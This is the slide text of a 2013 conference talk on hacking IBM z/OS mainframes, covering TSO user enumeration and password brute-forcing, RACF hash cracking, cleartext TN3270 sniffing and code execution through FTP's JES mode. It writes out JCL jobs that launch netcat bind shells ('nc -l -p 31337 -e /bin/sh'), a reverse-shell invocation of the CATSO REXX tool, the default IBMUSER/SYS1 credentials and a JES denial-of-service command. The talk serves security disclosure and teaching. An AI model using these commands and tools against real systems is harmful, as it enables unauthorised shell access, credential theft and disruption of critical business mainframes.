Mainframes: The past will come back to haunt you

By: Philip “Soldier of Fortran” Young
Any views expressed in this talk are my own and not those of my employer.

This talk discusses work performed in my spare time generally screwing around with mainframes and thinking 'what if this still works...'
Question

• How many of you have tested a Mainframe or done mainframe pentests/audits?

• How many of you are (or were) actual Sysprogs?

• See the problem?
Not Legacy

- Runs an OS called: z/OS
- Current version: z/OS V1R13 (or 1.13) - V1R14 (1.14) coming this year!
- 70% of fortune 500s run an IBM z/OS Mainframe
  - For critical business functions
About me:

• Phil aka "Soldier of Fortran"
• Mainframes were always big and mysterious
  – Messed around on Datapac, Telenet, Sprintnet
• **Jan 2012 - Horrible consultant (PitA!)**
• Given talks (about mainframes) at:
  – Thotcon
  – Shmoocoon
  – BSides LV and Austin
What’s this About?

• Primarily (ok 100%) a talk about z/OS and support tech/programs:
  • TSO
  • RACF
  • JES/JCL
  • REXX
  • OMVS

• If these mean nothing to you... good!

• Don’t worry, I'll also talk security
READY
ex 'case.daemon'

:+: Connecting to target: 10.0.0.5:9876
:+: Downloading ASCII logo
:+: Printing Logo:

          .  .  .
          .  .  .
      .____________.  .
     /             \  .
 ___/\          /\  .
    |   \        /   |
      \________/    |
 . Soldier  of  Fortran

READY
ping blackhat.com

CS V1R10: Pinging host BLACKHAT.COM (63.236.103.240)
Ping #1 timed out
READY
Age Gap

- Security Admin
  - Over 50: 75.7%
  - Under 50: 24.3%
I’m Not Ageist...

This can happen (in 2011):
"Can someone tell me how to find the server name from the IP address."

1) I don't think it’s possible
2) You need to implement something to lookup names by IP
nslookup 192.64.85.105

EZB3170I  Server:  google-public-dns-a.google.com
EZB3172I  Address:  8.8.8.8

EZB3170I  Name:  mfbbs.us
EZB3172I  Address:  192.64.85.105
(really) Brief History

- os/360 - Released in the 60’s
- os/370 - Released in the 70’s
- os/390 - Released 1995
- z/OS - Released 2004
  - New release every two years
  - z/OS v2 on the horizon
Cleartext, still?

TN3270:
- An extension on telnet
- Generally clear text
  - SSL Added mid 90s
- EBCDIC (ugh)

Supported in Wireshark!
Welcome to Fan DeZhi Mainframe
Support: http://zos.efglobe.com
Logon to TSO
Netview System
CICS System
IMS System
AOF-N
Netview Automation
Enter your choice===>
H....
Command is in progress.......
Your IP(198.80.42.100 :56456), SNA LU(....)
06/17/13 18:42:50 C. ......... 1B ........ af... 411223445667
ag.0112244."aeb..........."%
%1.C.6.aa.&................&..............a
h.....a.aedfgh~wyor..ad
......ar.A}"...HIKJ56700A ENTER USERID
A&....B.\AP. !
TSO/E LOGON
TSO/YIKJ56420I Userid TESTING not authorized to use TSO/B.
Y
PF1/PF13 ==> Help PF3/PF15 ==> Logoff PA1 ==> Attention PA2 ==>
Reshow.*0.YYou may request specific help information by entering a '?' in any entry field.
C3. Enter LOGON parameters below:: DT.Y
.FK.Y*Userid
 ==> FS.HTESTING.0.H2. Password ==> IB.<..........0.(2.- Acct Nmbr ===>
+B.H...........0.K.- Procedure ==> .S.H...........0.&K.-
More akin to a shell like /bin/sh

Let's you run commands:
- FTP
- REXEC
- TRACEROUTE
- NETSTAT
- LISTDS

Username max: 7 chars
The “GUI” - ISPF

(Who names these things?)

- ISPF = The 'GUI' used to interact
  - File browser
  - Swanky Editor
  - Made of 'panels’
DSL - Data Sets Matching TCP*

Command ===> _______________________

Command - Enter "/" to select action

- TCPIP.AEZAXLT2
- TCPIP.AEZAXLT3
- TCPIP.ETC.PROTO
- TCPIP.ETC.RPC
- TCPIP.ETC.SERVICES.INSTALL
- TCPIP.FTP.DATA
- TCPIP.HOSTS.ADDRINFO
- TCPIP.HOSTS.LOCAL
- TCPIP.HOSTS.SITEINFO
- TCPIP.MIBDESC.DATA
- TCPIP.PROFILE.TCPIP
- TCPIP.SEZACMAC
- TCPIP.SEZACMTX
- TCPIP.SEZADBCX
- TCPIP.SEZADBRM
- TCPIP.SEZADPIL
- TCPIP.SEZADSIL
"Meterpreter : z/OS REXX" || NEWLINE
return text

GET_UID: /* returns the UID */
text = NEWLINE || "Mainframe userID: " || userid() || NEWLINE
return text

GET_IP_INFO:
/* Uses TSO command 'netstat home' to get IP config */
/* Requires TSO segment */
x = OUTTRAP('var.')
address tso "NETSTAT HOME"
parse var var.1 a1 a2 a3 a4 a5 a6 a7 a8 type .
text = NEWLINE || "TCP/IP Name:" type || NEWLINE
IPADDR = SOCKET('GETHOSTID')
parse var IPADDR ip_rc ip_addr
text = text || "Connected using IP Address: " || ip_addr || NEWLINE || NEWLINE
j = 1
It’s called a Dataset *sigh*

- Uses 'Datasets' not 'Files' (but I still call them files)
- Composed of HLQ and 'the rest':
  
  `TCPIP.FTP.DATA`

- Can be 'partitioned'

`AC1D.JCL(FILE)`
It's a UNIX system! I know this

“UNIX? In my Mainframe?"

It's more likely than you think.

FREE PC CHECK!

blackhat
USA 2013
It's a UNIX system! I know this

- z/OS comes with UNIX

- the command 'OMVS' gives you a /bin/sh shell

- You can 'su' to root without a password
  - Controlled by group 'BPX.SUPERUSER'
ZEROCUL:/u/zerocul: >netstat -h
MVS TCP/IP NETSTAT CS V1R6 TCPIP Name: TCPIP
Home address list:
Address   Link   Flg
--------   ----   ---
192.168.1.89  CTC1  P
127.0.0.1     LOOPBACK
ZEROCUL:/u/zerocul: >traceroute 192.168.1.1
CS V1R6: Traceroute to 192.168.1.1 (192.168.1.1)
Enter ESC character plus C or c to interrupt
1 P640 (192.168.1.50) 1 ms 1 ms 1 ms
2 192.168.1.1 (192.168.1.1) 1 ms 1 ms 2 ms
ZEROCUL:/u/zerocul: >id
uid=59745(ZEROCUL) gid=2(USERG02)
ZEROCUL:/u/zerocul: >uname -a
OS/390 ADCD 16.00 03 2187
ZEROCUL:/u/zerocul: >uname -I
z/OS
ZEROCUL:/u/zerocul: >
JCL and Jobs

• Everything on the mainframe is a JOB, managed by JES (Job Entry Subsystem)

• JCL, Same as a shell script (sorta)

• Has a 'JOB CARD' or header and a 'PGM' or program to execute
//BLACKHAT JOB (EVIL),'LISTENER SHELL',
// NOTIFY=&SYSUID,
// CLASS=T,
// MSGCLASS=H,
// TIME=NOLIMIT,
// MSGLEVEL=(1,1)

/* THIS NEXT LINE EXECUTES BPXBATCH (OUR 'PROGRAM') */
NCLOL EXEC PGM=BPXBATCH
//STDIN DD SYSOUT=*
//STDOUT DD SYSOUT=*
//STDPARM DD *
SH /u/case/nc -l -p 31337 -e /bin/sh
*/
Let’s talk about REXX (baby)

- z/OS comes with REXX
- Scripting language similar to RUBY/PYTHON
- REXX Sockets have ASCII translation built in:
  
  ```
  Socket('Setsockopt',socket,'SOL_SOCKET','SO_ASCII','ON')
  ```
- Other (i.e. C) sockets do not have this!
CASE.REXX.EXEC(GAME) - 01.01

**************************** Top of file

/* REXX */

/* This is an amazing comment */

yo = RANDOM(1024,65000)

say 'Your Random number was:' yo

addr = address()

header = userid()

say center(addr, 79, ' - ')

DO FOREVER

SAY 'enter a command'

PARSE PULL command

SELECT

  WHEN command = 'help' THEN
    SAY 'Help is on the way'
  WHEN command = 'ls' THEN
    DO
      SAY 'Listing Folders'
    END

END

Get a random number from 1024 to 65000

print it to the screen

print the address space

DO a loop FOREVER

Ask the user for a command

SELECT same as 'SWITCH' or elsif.
MASTERS of the CONSOLES

• A 'system' level console
• If you can get access they're fucked

$51  UDP  ADMSKY  DA
1023  UDP  OMVS  DA
53 OF 53 RECORDS DISPLAYED
END OF THE REPORT

00- 00.07.11  $D  JOBDEF
00.07.11  $HASP835  JOBDEF
$HASP835  JOBDEF  ACCTFLD=OPTIONAL,BAD_JOBNAME_CHAR=?,
$HASP835  CNVT_ENQ=FAIL,JCLERR=NO,JNUMBASE=3241,
$HASP835  JNUMFREE=9002,JNUMWARN=80,JOBFREE=4003,
$HASP835  JOBNUM=5000,JOBWARN=80,PRTYHIGH=10,
$HASP835  PRTYJECL=YES,PRTYJOB=YES,PRTYLOW=5,PRTYRATE=0,
$HASP835  RANGE=(1,99999),RASSIGN=YES,DUPL_JOB=DELAY

IEE612I  CN= REDACTED

IEE163I  MODE= R

022/003
MASTERS of the CONSOLES

• For example:

```$T JOBDEF, JOBNUM=5```

This would DoS JES (don't do this!)

**JOBDEF** = JES parameters

**JOBNUM** = The number of jobs to run concurrently (normally very high)
• Most companies still run an FTP server

• An amazing 'feature': `SITE FILE=JES`

• What if it looked like this: `SITE FILE=/bin/sh`

If you do this it executes the JCL you uploaded!
Important Places

- Most Important to look at:
  - NETSTAT HOME (ip configuration)
  - TCPIP.FTP.DATA (you'll see why)
  - RACF 'SETROPTS LIST' (password config)
  - OMVS Segment UID (no one should be '0')
  - BPX.SUPERUSER facility class (gives 'su')
  - JESJOBS class (who can submit jobs)
RACF’m

• RACF controls ALL security on the mainframe. **EVERYTHING!**

• Can be replaced by ACF2 or TOP Secret

• Default User/Pass: **IBMUSER/SYS1**
RACF’m

• No 'root' concept but 'SPECIAL' gives full control
  – limit access to SPECIAL

• Limit even read access to RACF because...

• Also stores the password hashes!
IBM uses DES to store those hashes
The USERID is the 'salt'
Limiting passwords to 8 chars
1. Takes the password and adds 0x55 to each EBCDIC char
2. Shifts each byte to the left one bit
3. Feeds that into DES algorithm
<table>
<thead>
<tr>
<th>RACF DATABASE</th>
<th>STATUS:</th>
</tr>
</thead>
<tbody>
<tr>
<td>ACTIVE</td>
<td>USE</td>
</tr>
<tr>
<td>YES</td>
<td>PRIM</td>
</tr>
<tr>
<td>YES</td>
<td>BACK</td>
</tr>
</tbody>
</table>

RVARY command has finished processing.
TESTING MAINFRAME SECURITY
Frustrating Experience

- Tools don't (or didn't) support z/OS
- Internet is often wrong or out-of-date
- Frameworks don't typically include z/OS
No NMAP

~/$nmap-svn/scripts$ ls|grep -i tso
~/$nmap-svn/scripts$ ls|grep -i zos
~/$nmap-svn/scripts$ ls|grep -i mainframe
~/$nmap-svn/scripts$ ls|grep -i 3270
~/$nmap-svn/scripts$ ls|grep -i cics
Wrong NMAP

Starting Nmap 6.26 SVN (http://nmap.org) at 2013-10-18 20:37:52
Nmap scan report for [IP:131.216.216.0/24]
Host is up (0.077s latency).

<table>
<thead>
<tr>
<th>PORT</th>
<th>STATE</th>
<th>SERVICE</th>
<th>VERSION</th>
</tr>
</thead>
<tbody>
<tr>
<td>21/tcp</td>
<td>open</td>
<td>ftp</td>
<td>IBM OS/390 ftpd V1R12</td>
</tr>
<tr>
<td>23/tcp</td>
<td>open</td>
<td>ssl</td>
<td>Microsoft IIS SSI</td>
</tr>
<tr>
<td>2323/tcp</td>
<td>open</td>
<td>telnet</td>
<td>IBM OS/390 or SNA telnetd</td>
</tr>
</tbody>
</table>

OS/390 was discontinued in 2004
No NESSUS
No Metasploit Modules Related To IBM ZOS

No metasploit module related to this product
Yet, Problems Exist

- Max password length 8, hashes are accessible and single DES
- Uses a cleartext protocol
- FTP allows code execution
Yet, Problems Exist

• And you saw one more...
Enter LOGON parameters below:

Userid    ===>  CASE
Password  ===>  _
Procedure ===>  ISPFPROC
Acct Nmbr ===>  ACCT#
Size      ===>  
Perform   ===>  
Command   ===>  

Enter an 'S' before each option desired below:
-Nomail       -Nonotice      -Reconnect      -OIDcard
IKJ56420I Userid BLACKHT not authorized to use TSO

Enter LOGON parameters below:

*Userid

Password

Procedure

Acct Nmbr

Size

Perform

Command

Primary Severity Level: 5
User Enumeration

• That logon panel is awfully friendly
  – Too friendly

• hardcoded like that, not a configuration option

• And yet no support:
  – THC-HYDRA
  – MEDUSA
User Enumeration

• So I wrote my own:

  v1 enumerate_TSO.sh (PoC, awful)

  v2 TSO Brute

  v3 psikotik.py/phatso.py
v2 TSO Brute

TSO Brute - The z/OS TSO/E logon panel enum
Target Acquired = 50.136.231.106:3270
Username File = thatcon_users.txt
Wait in Seconds = 5
Attack platform = Darwin
Quiet Mode Enabled: Shhhhhhhhhhh!
Connecting to 50.136.231.106:3270
Getting to TSO/E Logon Panel
| At TSO/E Logon Panel |
| Starting Enumeration |
| Username: case -- [*] TSO User Found! |
| Username: ibmuser -- [*] TSO User Found! |
Found 2 valid user accounts:
Valid User ID -> case
Valid User ID -> ibmuser

- SOooo SLOW
- PoC
- Used py3270
- ugly
V3 psikotik/phatso

- Much faster (but still python)
- Independent, doesn't rely on s3270
- Single purpose
  - psikotik for enumeration
  - phatso for brute force
Target System: ISIS
Username file: users.bh
Total usernames: 8
Skipped Names: 2

- Trying faker: Not a User
- Trying fake123: Not a User
- Trying case: FOUND USER!
- Trying nonogo: Not a User
- Trying badidea: Not a User
- Trying sys12: Not a User
- Trying ibmuser: FOUND USER!
- Trying onemore: Not a User

Total found: 00002
Valid user: case
Valid user: ibmuser
Target System : ISIS
Username : IBMUSER
passw0rd file : words.txt
Total passwords : 7
Skipped passwords : 0

[+] Trying: this - ah ah ah! You didn't say the magic word!
[+] Trying: isn't - ah ah ah! You didn't say the magic word!
[+] Trying: right - ah ah ah! You didn't say the magic word!
[+] Trying: sys1 <=------ This is the password!
One Down

• Max password length 8, hashes are accessible and single DES

• Uses a cleartext protocol

• FTP allows code execution
Cracking RACF Hashes

• The question that started it all

• Spring 2012: John the Ripper added RACF database support

• Big thanks to:
  • Nigel Pentland - IBM obfuscation
  • Dhiru Kholia - ./john and ./racf2john
Nigels Tools:

• CRACF
  – Windows only tools, slower

• RACFSnow
  – Windows only, used for auditing
Two Down

- User Enumeration
- Max password length 8, hashes are accessible and single DES
- Uses a cleartext protocol
- FTP allows code execution
More like ’Clear EBCDIC’

• We know it's clear text

• **Some** support in common tools:
  – Wireshark (EBCDIC button)
  – No Ettercap dissector
MFSniffer

• Python and SCAPY
• Sniffs and translates EBCDIC and TSO
• Awful don't use it because...

- {X} - Mainframe: 
- {X} - Sniffer started on interface: eth0
- {X} - Mainframe UserID: 
- {X} - Mainframe Password: 
Ettercap

- Ettercap added TSO/3270 support
  - Thanks (again) to Dhiru Kholia
- Based on MFSniffer
One to Go

- User Enumeration
- Max password length 8, hashes are accessible and single DES
- Uses a cleartext protocol
- FTP allows code execution
Netcat on the Mainframe

• Updated NetCat v1.10 to support OMVS
  – Added 'make omvs' option

• One problem:

  $ ./nc -l -p 12345 -e /bin/id

  Linux

  $ nc 10.10.0.200 12345
  ♂♂♂♂♂♂♂♂♂♂♂♂♂♂♂♂♂♂♂♂♂♂♂♂♂♂♂♂♂♂♂♂♂♂♂♂♂♂♂♂♂♂♂♂♂♂♂♂♂♂♂♂♂♂♂♂♂♂♂♂♂♂♂♂♂♂∮
NetEBCDICCat.py

- Comes with NetCat for OMVS (NC110-OMVS)
- It translates from EBCDIC to ASCII:

```
$ ./nc -l -p 12345 -e /bin/sh

z/OS

$ ./NetEBCDICCat.py -i 10.10.0.200 -p 12345
uname -l
z/OS
id
uid=31337(CASE) gid=0(SYS1)
```
Getting FTP to Execute Netcat

• Why?

• Upload Netcat binary (pre-compiled) (e.g. CASE.NETCAT)

• Use JCL to copy and then execute NETCAT listener
//RACF8916 JOB (NC) 'JCL', CLASS=T,
// TIME=NOLIMIT,
// MSGLEVEL=(0,0)

/* Copies and creates a netcat listener */

//NCLOL EXEC PGM=BPXBATCH
//STDIN DD SYSOUT=*  
//STDOUT DD SYSOUT=* 
//STDPARM DD *

SH cp -B "//CASE.NETCAT" /tmp/nc;
chmod +x /tmp/nc;
nohup /tmp/nc -l -p 22975 -e /bin/sh

/*
1. Switch to Binary Mode
2. upload Netcat
3. switch to ASCII mode
4. **Switch to JES Mode**
5. Upload JCL to JES
6. Connect with NetEBCDICat.py
6. Connect with NetEBCDICat

$ ./NetEBCDICat.py -i 10.10.0.200 -p 22975
uname -I
z/OS
id
uid=31337(CASE) gid=0(SYS1)
pwd
/u/case
Automating: MainTP.py

• Turns FTP only access to shell access

• Generates random JOB Card info and deletes files

• Has a detail/verbose mode so you can see what’s happening
$ ./MainTP.py -t 10.10.0.200 -u case -p st4sh1p

[+] Connecting to: 10.10.0.200 : 21
[+] Uploading trapdoor binary
[+] Switching to JES mode
[+] Inserting JCL in to job queue
[+] Cleaning up...
[+] Connecting Shell on port 13151 .....Done!

uname -I
z/OS
id
uid=31337(CASE) gid=0(SYS1)
pwd
/u/*case
I Got 99 Problems

- Unix and EBCDIC
- User needs to have OMVS access
- Not user friendly
Introducing: CATSO

- A REXX script to provide meterpreter 'like' functionality
- Reverse or Listener TSO/UNIX 'meterpreter'
- Works with great netcat or metasploit
CATSO: Two Great Flavors

- Listener: `exec 'file' 'L <port>'`
  
  ```
  exec 'CASE.CATSO' 'L 31337'
  ```

- Reverse: `exec 'file' 'R <ip> <port>}'
  
  ```
  ex 'CASE.CATSO' 'R 10.0.0.4 4444'
  ```
$ nc 10.10.0.200 12345
Enter command or 'help'> unix id

uid=31337(CASE) gid=0(SYS1)

Enter command or 'help'> cat case.jcl

File: case.jcl
File Length: 13

```plaintext
//BLACKHAT JOB (EVIL),'LISTENER SHELL',
// NOTIFY=&SYSUID,
//  CLASS=T,
//  MSGCLASS=H,
//  TIME=NOLIMIT,
//  MSGLEVEL=(1,1)
//* THIS NEXT LINE EXECUTES BPXBATCH (OUR 'PROGRAM')
//NCLOL EXEC PGM=BPXBATCH
//STDIN DD SYSOUT=* 
//STDOUT DD SYSOUT=* 
//STDPARM DD *
SH /u/case/nc -l -p 31337 -e /bin/sh
/*
```

1. Connect w/ Netcat
2. Run UNIX command ‘id’
3. Cat the file ‘CASE.JCL’
CATSO Problem

- Still requires you to upload and execute
- Need to incorporate with JCL for remote execution
- The sandwhich:
TShOcker

- Uses 'CATSO', JCL and Python to upload and create listener or reverse TSO 'shell'

- JCL Trickery
  - Copy JCL contents to temp file
  - Execute temp file

- Memory only! (temp file on z/OS)
TShOcker in Action

$ ./TShOcker.py 10.10.0.200 case st4sh1p -l --lport 31337
[+] Connecting to: 10.10.0.200 : 21
[+] Switching to JES mode
[+] Inserting JCL with CATSO in to job queue
[+] Done...

Netcat

$ nc 10.10.0.200 31337
Enter command or 'help'> ifconfig

TCP/IP Name: TCPIP
Connected using IP Address: 10.10.0.200

Interface 1
=======
Name : CTC1
IPv4 Address : 10.10.0.200
Flag : P

Metasploйт

msf exploit(handler) > sessions -i 2
[*] Starting interaction with 2...

Enter command or 'help'>
Primary
=======
Active : YES
FileName : SYS1.RACFDS

Backup
=======

Launching Amazing BlackHat_Demo.exe
All Done?

- User Enumeration
- Max password length 8, hashes are accessible and single DES
- Uses a cleartext protocol
- FTP allows code execution
HOW CAN YOU HELP?
Emulate the Mainframe
Hercules emulator. A virtual mainframe on your computer

- updated/maintained on github
- OpenSource

IBM System z Personal Development Tool (zPDT)

- Mainframe license required
- Runs Linux which then boots z/OS
- Comes with license on a USB fob
Hercules! Hercules!
http://mainframed767.tumblr.com

https://github.com/mainframed

@mainframed767
Links

RACF Admin Age Survey:

Reverse NSLOOKUP

Ettercap
https://github.com/ettercap/ettercap

John the ripper
https://github.com/magnumripper/JohnTheRipper

Netcat for OMVS
https://github.com/mainframed/NC110-OMVS

Hercules
http://www.hercules-390.org/
https://github.com/s390guy/hercules-390